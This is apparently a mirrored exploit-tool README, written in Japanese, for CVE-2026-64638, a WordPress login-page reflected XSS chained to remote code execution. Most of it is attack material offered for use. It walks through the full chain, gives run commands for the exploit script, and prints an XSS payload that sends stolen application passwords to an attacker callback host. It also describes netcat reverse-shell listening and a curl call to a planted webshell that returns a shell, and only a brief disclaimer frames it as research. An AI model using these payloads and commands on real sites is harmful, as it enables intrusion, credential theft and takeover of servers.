## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-JENDMAOUL-XSS2SHELL-CVE-2026-64638
# CVE-2026-64638 — XSS2Shell
**WordPress 事前認証反映型XSS → リモートコード実行チェーン**
> DOM Clobbering + アプリケーションパスワード窃取 + REST API プラグイン有効化 = 完全なRCE
  
* * *
## ⚡ 概要
CVE-2026-64638 は、WordPress の `wp-login.php` における重大な**事前認証型反映XSS** です。この脆弱性は、ログインエラーメッセージが送信されたユーザー名を**適切なHTMLエンコードなしで** 反映するために存在し、`<area id=ajaxurl>` によるDOM Clobberingを可能にして、ほとんどのフィルタを回避します。
WordPress のアプリケーションパスワード機能と連鎖させると、このXSSは**完全なリモートコード実行** ベクタになります — ログイン済みの状態で細工されたトリガーページにアクセスする以外、ユーザーの操作は不要です。
### 攻撃チェーン
root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│ [1] XSS (Reflected) │
│ wp-login.php reflects <area id=ajaxurl> in username error │
│ ↓ │
│ [2] DOM Clobbering │
│ <area id=ajaxurl> hijacks wp-admin JS → auto-submits form │
│ ↓ │
│ [3] Application Password Theft │
│ XSS redirects victim to authorize-application.php │
│ success_url callback captures app password │
│ ↓ │
│ [4] REST API Plugin Activation │
│ App password → Basic Auth → wp-json/wp/v2/plugins → active │
│ ↓ │
│ [5] Webshell RCE │
│ Plugin PHP webshell → uid=33(www-data) │
│ Reverse shell also available │
└─────────────────────────────────────────────────────────────────┘
* * *
## 🎯 影響を受けるバージョン
* * *
## 📦 要件
root@kitploit:~
pip3 install requests
これだけです。その他はすべて Python 3.8+ の標準ライブラリを使用します。
* * *
## 🚀 使用方法
### クイックスタート
root@kitploit:~
# Clone
git clone https://github.com/linuxhackingid/XSS2Shell-CVE-2026-64638.git
cd XSS2Shell-CVE-2026-64638
# Auto mode (recommended)
python3 poc_fixed_v2.py --mode auto -u USER -p PASS --lhost YOUR_IP http://target.com
### モード1: 自動 (検出して最適なモードを選択)
root@kitploit:~
python3 poc_fixed_v2.py -u admin -p password123 --lhost 192.168.1.100 http://target.com
* XSSが可能かどうかを検出 → XSSチェーンを使用
* XSSがパッチ適用済みの場合は直接認証情報モードにフォールバック
### モード2: XSSチェーン (認証情報不要!)
root@kitploit:~
# Terminal 1: Run the exploit (starts callback server)
python3 poc_fixed_v2.py --mode xss --lhost 192.168.1.100 http://target.com
# Terminal 2: Host the trigger page
cd /path/to/XSS2Shell-CVE-2026-64638
python3 -m http.server 8000
# Send victim: http://192.168.1.100:8000/trigger_target.com.html
被害者はWordPressに**管理者としてログインしている** 必要があります。トリガーページは次のことを行います:
1. 隠しiframeを介してXSSペイロードを `wp-login.php` に自動送信
2. 被害者が承認するための `authorize-application.php` を開く
3. コールバックサーバーを介してアプリケーションパスワードを取得
4. REST APIに対してそれを使用してWebshellプラグインを有効化
### モード3: 直接 (認証情報が必要)
root@kitploit:~
python3 poc_fixed_v2.py --mode direct -u admin -p password123 http://target.com
直接ログイン → プラグインアップロード → 即座のWebshell。XSSは不要です。
### リバースシェル
root@kitploit:~
# In one terminal
nc -lvnp 4444
# In another — the exploit auto-triggers reverse shell when --lhost is set
python3 poc_fixed_v2.py --mode direct -u admin -p pass --lhost 192.168.1.100 --lport 4444 http://target.com
またはWebshell経由で手動実行:
root@kitploit:~
curl 'http://target.com/wp-content/plugins/xss2shell/xss2shell.php?rev=YOUR_IP:4444'
* * *
## 📂 ファイル
root@kitploit:~
XSS2Shell-CVE-2026-64638/
├── poc_fixed_v2.py # Main exploit script (dual-mode)
├── poc.py # Original PoC (for reference)
├── trigger_192.168.0.87.html # Example trigger page
└── README.md # This file
* * *
## 🔬 技術的詳細
### XSSペイロード
root@kitploit:~
< area id=ajaxurl shape=default href="http://attacker:9090/collect" >
<button id="wp-auth-check" onclick="window.ajaxurl='http://attacker:9090/collect'">x</button>
**仕組み:**
* WordPressの `sanitize_user()` は標準的なHTMLタグを除去しますが、先頭にスペースがある `<area>` は見逃します
* `<area id=ajaxurl>` はDOM Clobberingを実行します — wp-adminのJavaScriptが使用する `window.ajaxurl` を乗っ取ります
* `wp_auth_check` インターバルが発火し、XSSが被害者を `authorize-application.php` にリダイレクトします
* `success_url` パラメータが生成されたパスワードを攻撃者のコールバックサーバーに送信します
### 権限取得後
アプリケーションパスワードが取得されると:
* **REST API** : `/wp-json/wp/v2/` に対して被害者として認証
* **プラグイン有効化** : `{"status":"active"}` を含む `POST /wp-json/wp/v2/plugins/{slug}`
* **Webshell** : `wp-content/plugins/xss2shell/xss2shell.php?cmd=COMMAND` にアクセス
* **リバースシェル** : `?rev=IP:PORT` が `/bin/sh -i` を攻撃者に返送
* * *
## ✅ 検証済み環境
* * *
## ⚠️ 免責事項
このツールは**許可されたセキュリティテストおよび研究のみ** を目的としています。作者は誤用に対する一切の責任を負いません。テストの前に必ず書面による許可を取得してください。
* * *
## 📝 クレジット
* **PoC開発** : linuxhackingid
* **CVE** : CVE-2026-64638
* * *
> **「エクスプロイトがなければ、レポートもない。」** — Shannon方式